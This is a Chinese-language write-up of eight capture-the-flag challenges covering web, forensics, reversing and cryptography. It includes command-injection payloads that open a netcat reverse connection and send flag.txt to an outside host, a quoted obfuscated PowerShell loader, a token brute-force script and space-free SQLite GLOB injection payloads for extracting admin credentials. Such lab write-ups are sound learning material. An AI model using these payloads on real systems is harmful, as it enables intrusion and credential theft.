内容简介:挑战
挑战 1 – 废弃的筒仓
类别: Web
这个挑战题目的页面向我们展示了一个表单,在输入框可以指定参数来 ping 我们输入的 ip 。页面提供了一个线索,告知我们 flag 在文件 flag.txt 中。
我们尝试注入使用netcat建立反向连接的命令,127.0.0.1;nc reverse.sistec.es 8080。
我们验证了反向连接已经成功建立,我们可以通过这个反向的 shell 来读取保存 flag 的 flag.txt 文件。
127.0.0.1;cat flag.txt|nc reverse.sistec.es 8080
我们成功读取到了服务器上的 flag 。
挑战 2 – PARANORMALGLITCH
类别:电子取证
这道题目是在 JPG 图像中找到 flag 。为方便起见,我们将使用 gatos.jpg 作为要分析的文件的名称。
该文件的大小是 670081 字节,
file gatos.jpg gatos.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, progressive, precision 8, 1920x1024, frames 3
我们 可以使用一些签名搜索工具,例如binwalk,photorec和或者是foremost。
使用foremost工具,我们得到了相同的JPG图 像,但大小为 196951 字节。我们怀疑在 JPG 图像之后还隐藏着另一个文件或重要数据。
我们从偏移量 196951 中提取数据
dd if=gatos.jpg of=part2 bs=1 skip=196951
我们分 析这个新的文件part2。很快,我们就看到有IHDR和IDAT 字符串的存在,所以,看起来我们找到的这个文件应该是一个 PNG 图片。
xxd part2 |head 00000000: 0d0a 1a0a 0000 000d 4948 4452 0000 0400 ........IHDR.... 00000010: 0000 0288 0806 0000 00ee 2e88 0c00 0000 ................ 00000020: 0662 4b47 4400 ff00 ff00 ffa0 bda7 9300 .bKGD........... 00000030: 0020 0049 4441 5478 daec dde9 93a4 5776 . .IDATx......Wv 00000040: dff7 efbd f759 72ab acbd 7a43 3730 0007 .....Yr...zC70.. 00000050: 98c1 7048 0ec5 4594 4c29 4221 4b61 5bf2 ..pH..E.L)B!Ka[. 00000060: a208 ff3d e2df e1b0 432f 1cb2 23ec b06c ...=....C/..#..l 00000070: 5914 456d 2629 919c 2139 43ce 7008 6200 Y.Em&)..!9C.p.b. 00000080: 34d0 68f4 5a5d 5d6b aecf 72ef f58b 2733 4.h.Z]]k..r...'3 00000090: 2bbb d0d5 682c 33e8 46ff 3e98 8cca caaa +...h,3.F.>.....
我们将此文件的开头与另一个 PNG 文件或维基百科中显示的示例图片进行比较。
我们看到这个文件丢失了 PNG 文件头的前 4 个字节(因此数据恢复程序没有识别出这是个 PNG 图片文件)。我们 用xxd和cat把文件头的前四个字节添 加进去。
echo 89504e47 | xxd -ps -r > pngheader cat pngheader part2 > image.png
这个图片 文件不是100%的正确,并且不是所有的看图软件都能正常打开,即使是这种情况,我们也可以使用GIMP正常打开查看图片并获得flag。
挑战 3 – 后门分析 1
类别:电子取证
接下来的题目是分析一个操作系统是 Ubuntu 16.04 的受感染的虚拟机。
我们使用用户 ctf 访问服务器,然后使用 su 命令切换到服务器的管理员用户来进行更彻底的分析。
一开始我们收到一条错误的消息,这条错误信息告诉我们有一些东西被感染了。
在 .bashrc 文件的末尾我们看到有一个可执行文件,隐藏的是方式是尝试使用多次换行。
/bin/sh311.x
我们分析这个二进制文件并使用 ltrace 观察如何生成 flag 的字符串。
挑战 4 – 后门分析 2
类别:电子取证
第二个后门是我在使用 ps 查看了正在运行的进程后找到的。
我们分析二进制文件 /usr/sbin/psl 并使用 strings 获取到 base64 编码过的字符串。
Watch this: dV9SVAETWkATdX9ydEgDCwQAVQZSCgsFClBVVgJSBQNQVwACAlcDV1cAB1IBCk45Cg==
使 用Auto Solver里的PatataUtils工具类,我们解码了 base64的内容并获得了flag。
在复杂的编码方式中,必须使用XOR 0x33对文本进行解 密 / 解码。
PS :受感染的二进制文件是 /bin/ls
挑战 5 – 网络犯罪分析
类别:电子取证
在此挑战中,我们被要求分析恶意软件 do_not_remove.bat 然后找到 flag 。
在第一次分析中,我们发现它是一个 powershell 脚本,它执行了 Base64 中编码过的代码。
Invoke-Expression $(New-Object IO.StreamReader ( $(New-Object IO.Compression.DeflateStream ( $(New-Object IO.MemoryStream (, $([Convert]::FromBase64String("...")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();
我们解码 base64 中的文本得到了一个二进制文件,如果我们查看代码,我们接下来回看到程序是如何使用 CompressionDeflateStream 函数的。
base64 -d b64.txt > bin printf "\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x00" |cat - bin |gzip -dc > code
此代码中最可疑的部分是在 User-Agent 中发送的十六进制字符串。在尝试对其进行解码之后,我们可以发现,从 1f 8b 08 00 字节开始是另一个 gzip 文件 。
echo 1f8b08004b17425b0003f32f4ab70acd4d2a4acdc949b456f0c82f2eb10a700cb756082d4e2db24ac9cf4dcccc4b4cc9cdccb35670cb494cb772f37174af4e4e4a4b3233374b4d4c363632304f364849324d31324f33b54c35354e333432ab05006811b54b55000000 |xxd -ps -r |gzip -dc Org:Umbrella; Host:PAW; User:domainadmin; Flag:FLAG{cbfb676eac3207c0db5d27f59e53f126}
挑战 6 – ARMOURED KITTEN
类别:逆向
这个题目是逆向一个 ARM64 的二进制文件获得 flag 。
file re1 re1: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, for GNU/Linux 3.7.0, BuildID[sha1]=48e70b04d5fdfcaccb8442dda6fec030f0f6b822, stripped
我们首先遇到的第一个困难是我们无法在 x64 架构的机器上原生的执行这个二进制文件。我们可以安装 qemu 来执行并调试这个程序。
当我们执行二进制文件时,程序会等待我们输入一些文本并检查输入的内容是否正确。
qemu-aarch64 ./re1 wat do u want? patatas oh noes! you no haz flag!
使用反汇编程序( r2 , gdb , IDA )分析二进制文件时,我们看到输入正确的内容时程序输出的文本是
yes, u got it! submit!
我们使用 IDA X-Rays 来反编译代码并进一步理解二进制文件的操作。
我们看到一系列循环操作,其中验证我们输入的字符是否正确的逻辑符合一系列线性方程。 这个挑战与baby-re非常相似,我在2016年在DEFCON的CTFC的分类中解决过这个问题。
这个挑战可以通过工具angr快速解决,或者用更费力的方式,例如提取方程并用数学软件来 解决。
在这种情况下 ,在用angr测试后没有获得我们想要的结果,因此我们转向PlanB并以尽可能最快和最自动化的方式提取所有 的方程。
调试我们使用的程序:
qemu-aarch64 -g 3000 ./re1
使用针对 ARM 平台的 p3da 插件 peda-arm 执行 gdb-multiarch
在启动 GDB 之后我们使用 target remote localhost:3000
在这个过程中,我们获得了完成方程的值的存储器地址,第一个是 0x48d010 , 程序从这个地址的内存中提取 flag 的每个字符的系数。第二个是 0x520A90 ,程序从这个地址的内存中提取等式必须满足的值。
这些值不在单个存储器地址中,但是对于循环中的每次迭代,这些值是从不同的存储器地址获得的。
使用 radare2 的 iS 命令,我们获得了下面这些文件 “ 节 ” 所在文件的偏移量:
> iS [Sections] 00 0x00000000 0 0x00000000 0 ---- 01 0x00000190 32 0x00400190 32 -r-- .note.ABI_tag ... 23 0x0007d000 641688 0x0048d000 641688 -rw- .data 24 0x00119a98 0 0x00529a98 5952 -rw- .bss 25 0x00119a98 0 0x0052b1d8 48 -rw- libc_freeres_ptrs ...
因此,我们得到了 0x7D010 和 0x110A90 。
我们用 dd 剪切二进制文件并提取这些部分:
dd if=re1 of=bin1 bs=1 skip=512016 dd if=re1 of=bin2 bs=1 skip=1116816
对于 20 个未知数,在最好的情况下我们只需要 20 个方程,没有必要提取程序评估的数千个方程,因此,我们只提取前 120 个。
import struct bin1 = open('bin1','rb') data1 = bin1.read() bin2 = open('bin2','rb') data2 = bin2.read() var = 'ABCDEFGHIJKLMNOPQRST' var_maxima = 'A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T' final_equation = '' for k in range(0,3): for l in range(0,5): for m in range(0,2): for n in range(0,4): equation = '' xx = 0 for ii in range(0,20): i = ii + 20*n + 80*m + 160*l + 800*k x = struct.unpack('<L', data1[4*i:4*i+4])[0] if x!=0: equation += '(%s*%s)' % (var[ii], x) if(ii<19): equation += "+" j = n + 4*m + 8*l + 40*k y = struct.unpack('<L', data2[4*j:4*j+4])[0] final_equation += '%s=%d,' % (equation,y) final_equation = final_equation[:-1] print('linsolve([%s],[%s]);' % (final_equation,var_maxima))
我们执行脚本并获得了方程式, 我们将这些方程式传递给wxmaxima来解方程式。
python re1.py |maxima Maxima 5.42.1 http://maxima.sourceforge.net using Lisp GNU Common Lisp (GCL) GCL 2.6.12 Distributed under the GNU Public License. See the file COPYING. Dedicated to the memory of William Schelter. The function bug_report() provides bug reporting information. (%i1) solve: dependent equations eliminated: (24 23 22 21) (%o1) [A = 109, B = 101, C = 32, D = 99, E = 97, F = 110, G = 32, H = 104, I = 97, J = 122, K = 32, L = 117, M = 114, N = 32, O = 102, P = 108, Q = 97, R = 103, S = 122, T = 63]
我们获取到了 Flag 的十进制格式,我们将其转换为 ascii 来获取 flag 的文本。
me can haz ur flagz?
挑战 7 – CRYPTOKENITA
类别:密码学
在此挑战中,我们提供 了nodeJS应用程序的源代码。目标是找到一个正确的令牌来获得flag 。
总之,我们需要生成一个 8 字节的令牌,并且以 base64 编码格式发送。
以下是该应用程序中最重要最关键的代码部分。
function tokenGen() { return crypto.randomBytes(8).toString(); } app.post('/guess', function (req, res, next) { var token = req.body.token; // No hack if(!_.isString(token) || !_.isBuffer(Buffer.from(token, 'base64')) || !_.isString(Buffer.from(token, 'base64').toString('utf8'))) { res.render('hacker', {title: title}); return; } token = Buffer.from(token, 'base64').toString('utf8'); if(req.session && req.session.token && req.session.token === token) { res.render('flag', {title: title, flag: config.flag}); return; } res.render('no_flag', {title: title}); });
如果我们详细分析代码,我们将观察到 在toString函数中它使用了UTF8编码。此编码是多字节的,2个字节用于表示字符0x80到0xff,因此使用字面上的0x80到0xff会返回编 码错误。
知道了这一点,我们就只需要用 0xffffffff 这个值进行多次无效尝试,直到我们得到 flag 。
import urllib.parse import requests user_agent = 'Mozilla/5.0' for i in range(10000): headers = { 'User-Agent' : user_agent, 'Connection': 'keep-alive'} url = 'http://54.36.134.37:32009' r = requests.get(url, headers=headers) data = r.text print(urllib.parse.unquote(r.cookies['connect.sid'])) url2 = 'http://54.36.134.37:32009/guess' headers = { 'User-Agent' : user_agent, 'Connection': 'keep-alive','Content-Type':'application/x-www-form-urlencoded'} headers['Cookie'] = 'connect.sid=' + r.cookies['connect.sid'] r2 = requests.post(url2, data='token=//////////8', headers=headers) data2 = r2.text print(data2) if 'No flag' not in data2: break
挑战 8 – LOGINDENOID
类别: Web
这个挑战有两个部分。首先,我们需要在登录页面以任何方式进行身份验证。跳转到后台页面后,你将不得不利用 SQL 注入来提取管理员凭据然后获取 flag 。
登录绕过
登录请求有 3 个参数:
· username
· password
· loginMethod
在用户名或密码 中未找到任何注入后,我们尝试修改loginMethod。
如果我 们将loginMethod参数修改为其他字符串,我们会得到以下错误,表明此方法或函数不存在 。
user[loginMethod] is not a function
使用一些词典进行模糊测试后,我们发现使用构造函数这个字符串获得了不同的响应。
Class constructor User cannot be invoked without 'new'
最后,我们 __defineGetter__ 设法进行登录绕过。
SQL 注入
登录到后台,我们就可以选择查看新闻。
/news/item?id=1
通过简单的单引号注入,我们发现返回错误 Database error ,因此可能存在 SQL 注入。
第一步是尝试一个布尔注入,在测试了 SQL 的一些字符或 payload 后,我们意识到这个应用程序有阻止 SQL 注入攻击的规则,返回了错误 Blacklisted 。
其中一个被阻止的字符是空格,因此我们应该在不使用它们的情况下构建 SQL 注入查询语句,比如尽可能使用括号。
/news/item?id=2'and'1 (BOOLEAN TRUE, devuelve la noticia 2) /news/item?id=2'and'0 (BOOLEAN FALSE, devuelve 'Noticia no encontrada')
基于此布尔注入,我们必须构造更复杂的查询语句才能从数据库中获取信息,首先,我们需要确定服务器使用的是哪种类型的数据库。
这里最重要的方法之一是尝试使用 MID 函数( SUBSTRING 的别名),不过服务器返回了错误,这表明所服务器使用的数据库引擎不支持这个函数。
经过长时间的调 查后,确定数据库可以是SQLite。那我们就有使用GLOB功能的可能性了。
GLOB函数可以与通配符'*'或'?'一起使用。在这种情况下,不允许使用星号,因此我们可以使用询问字符'?'。
这个通配符等同于一个字符,因此要发现字段的大小,我们必须使用不同的长度进行暴力破解。
注 入语句采用以下形式,替换TABLE,COLUMN和'?'的数量。
'and(SELECT(1)from(TABLA)WHERE(glob('????',COLUMNA)))and'1
一旦我们知道了要提取的字段的大小,我们就一个字符一个字符的进行猜解,假设某些字符或单词被禁止,我们在找不到匹配的情况下可以使用其他方法。
提取表名: TABLE ='sqlite_master'COLUMN ='tbl_name'
· news
· users
· admins
· sqlite_sequence
admins 表的列:
'and(SELECT(1)from(sqlite_master)WHERE(glob('admins',tbl_name)and(glob('????',sql))))and'1 CREAT??TABLE?admins?ID?INTEGE??PRIMARY?KEY?AUTOINCREMENT??u53rn4m333?TEX??NO??NUL??UNIQUE??p455w0rddd?TEX??NO??NUL??
· u53rn4m333
· p455w0rddd
我们最终从 admins 表中提取了用户名和密码
查看密码字符串的长度,我们可以假设它是一个 SHA256 哈希字符串,我们使用 hashcat 来进行破解。
获 得管理员用户名和密码后,我们通过修改loginMethod的值为loginAdmin进行登录。
登录成功后,我们就得到了 flag 。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Approximation Algorithms
Vijay V. Vazirani / Springer / 2001-07-02 / USD 54.95
'This book covers the dominant theoretical approaches to the approximate solution of hard combinatorial optimization and enumeration problems. It contains elegant combinatorial theory, useful and inte......一起来看看 《Approximation Algorithms》 这本书的介绍吧!
JSON 在线解析
在线 JSON 格式化工具
HEX HSV 转换工具
HEX HSV 互换工具